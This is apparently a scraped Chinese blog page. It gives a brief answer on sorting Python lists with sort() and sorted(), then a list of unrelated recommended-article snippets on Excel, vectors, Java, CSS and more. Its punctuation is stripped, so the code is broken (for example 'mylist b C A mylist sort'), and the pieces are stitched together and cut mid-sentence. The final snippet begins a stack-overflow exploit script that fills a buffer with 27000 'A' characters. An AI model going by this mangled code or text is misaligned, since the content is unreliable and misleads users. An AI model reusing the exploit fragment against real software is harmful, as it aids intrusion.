    在 Python 中创建按字母顺序排序的列表的最佳方法是什么 基本回答 mylist b C A mylist sort 这会修改您的原始列表 即就地排序 要获取列表的排序副本而不更改原始列表 请使用sorted http docs pyt

随机推荐

  • 【进阶】使用Excel进行回归分析,预测真实值

    预备阅读 进阶 使用Excel进行相关分析 前言 昨天学习了Excel中的相关分析 在数据分析中 相关分析和回归分析关系紧密 今天来学习下Excel中的回归分析 回归分析 回归分析 regressionanalysis 是确定两种或两种以上
  • 向量大小和归一化(vector magnitude & normalization)、向量范数(vector norm)、标量/向量/矩阵/张量

    一 向量大小 首先一个向量的长度或者大小一般记为 上图中的平面向量的大小计算如下 空间向量的大小计算如下 维复向量的大小计算如下 二 向量归一化 向量归一化即将向量的方向保持不变 大小归一化到1 向量的归一化向量为 三 向量范数 范数是一种
  • ant design pro上传图片到后端

    我们这里是前端将图片上传到后端 然后后端这里再上传到阿里云的OSS 并返回一个文件的路径给前端 先看效果 上传后生成的图片 前端 pageList js const props name avatar listType picture ca
  • Servlet基础_0300_Cookie

    web服务器和Client基础 1 web服务器可以向客户端写内容 2 web服务器向客户端写的内容只能是文本文件 3 浏览器客户端可以阻止web服务器写入东西 4 web服务器端的servlet只能拿自己webapp的写入的内容 Cook
  • Intellij IDEA安装Maven(非常详细)

    安装Maven 安装路径 点击链接进去直接下载所需的版本Maven官网 http maven apache org download cgi 最新版本下载方式 1 点击链接进入Maven官网 2 找到左侧栏的Download找到Files下
  • Quorum企业以太坊环境搭建教程

    Quorum是一个许可制的以太坊联盟区块链实现 包含了金融巨头JP摩根开发的一个GETH分支版本 可以在节点之间实现私有和快速的交易 Quorum为保证隐私对节点之间的私有交易进行了专门的设计 它使用Raft和Istanbul算法实现共识
  • ContentResolver的相关使用

    文章目录 AndroidManifest xml MainActivity MusicActivity PicActivity Contact AndroidManifest xml
  • python新手有手就会的100个代码

    前言 我记得刚开始接触编程的时候 觉得太难了 也很好奇 写代码的那些人也太厉害了吧 全是英文的 他们的英文水平一定很好吧 他们是怎么记住这么多代码格式的 而且错了一个标点符号 整个程序都会有影响 一个程序几千行 错一个标点符号都不行这也太难
  • Ideal常用插件

    1 Key promoter Key promoter这款插件适合新手使用 当你点击鼠标一个功能的时候 可以提示你这个功能快捷键是什么 2 Maven Helper 3 JRebel for IntelliJ jrebel 热部署插件 能够
  • STM32F4 discovery USART1(PA9,PA10)不能正常通信的问题

    PA9和PA10两个引脚使用了usb otg功能 STM32f4Discovery示意图显示 此USART上串行TX的默认引脚为PA9 它被连接到一个LED和一个4 7uF的电容器 C49 该引脚用于USB OTG端口上的VBUS线 电容器
  • 深度学习配置CUDA8.0/9.0及对应版本cuDNN安装

    本人为中科院测地所博士生 所研究专业为自然地理学 遥感数据分析方向 研究课题偏向于深度学习 由于本人不是计算机专业 故有关计算机配置及操作方面相较于计算机专业人员不是那么专业 所以请各位大牛大神绕道 我这里所做的一些工作比较浅显 仅供需要的
  • 纯CSS实现轮播图

    利用CSS实现一个轮播图 实现无缝衔接 平滑过渡 hover暂停效果 本文利用纯CSS实现一个轮播图 代码简捷 实现简单 没有js的接入 为一定场景下的轮播图提供一个简单的实现 先看效果图 1 思路解析 我们把整个轮播分为三个区域解析 分别
  • C语言程序设计打鱼还是晒网,C语言编程三天打鱼两天晒网

    满意答案 dmmk2822 2018 11 05 采纳率 46 等级 6 已帮助 160人 中国有句俗语叫 三天打鱼两天晒网 某人从 1990年 1月 1日起开始 三天打鱼两天晒网 问这个人在以后的某一天中是 打鱼 还是 晒网 根据题意可以
  • 网线传输速度测试_网络传输速率及测速方法

    网络传输速率概述根据国家颁布的通信行业标准 固定宽带4M 6M 12M 20M产品及3G网络21M 42M产品公布的速率均是指数据单位比特 秒 bps 而平常用户上网软件或者下载速度指的是字节 秒 Byte s 二者之间的换算关系为8比特
  • 信号与系统—傅里叶级数

    写在前面 相信很多接触傅里叶级数的人都觉得这是一个很复杂的东西 包含大量的复杂公式并且不知道它是用来干什么的 此文从傅里叶级数的最初产生过程进行介绍 产生之初必然伴也随着某种应用 更准确的说是应用促使发展出傅里叶级数来解决现实世界中存在的问
  • 自动控制原理_卢京潮_线性系统的时域分析与校正_学习笔记

    总目录 第一章自动控制的一般概念 第二章控制系统的数学模型学习笔记 https blog csdn net mahoon411 article details 112555468 第三章线性系统的时域分析与校正学习笔记 https blog
  • 总结-unity-生命周期图

    完整的生命周期图
  • Ajax 的GET请求和POST请求

    Ajax 全称是Asynchronous Javascript And XML 异步JavaScript和XML 在网页中 利用XMLHttpRequest对象和服务器进行数据交互的方式 基于浏览器的开发者工具分析通信过程 1 打开浏览器
  • phpstudy+phpstorm+navicat环境配置

    phpstudy phpstorm navicat环境配置 这篇文章对我帮助很大 附上链接 https blog csdn net u012861467 article details 54692236 本文章着重记录学习过程如果对你有帮助
  • 看雪学习笔记-[原创]EXP编写学习 之 栈溢出(一)

    看雪学习笔记 原创 EXP编写学习 之 栈溢出 一 https www exploit db com exploits 10619 usr bin python coding UTF 8 char x41 27000 Fileptr ope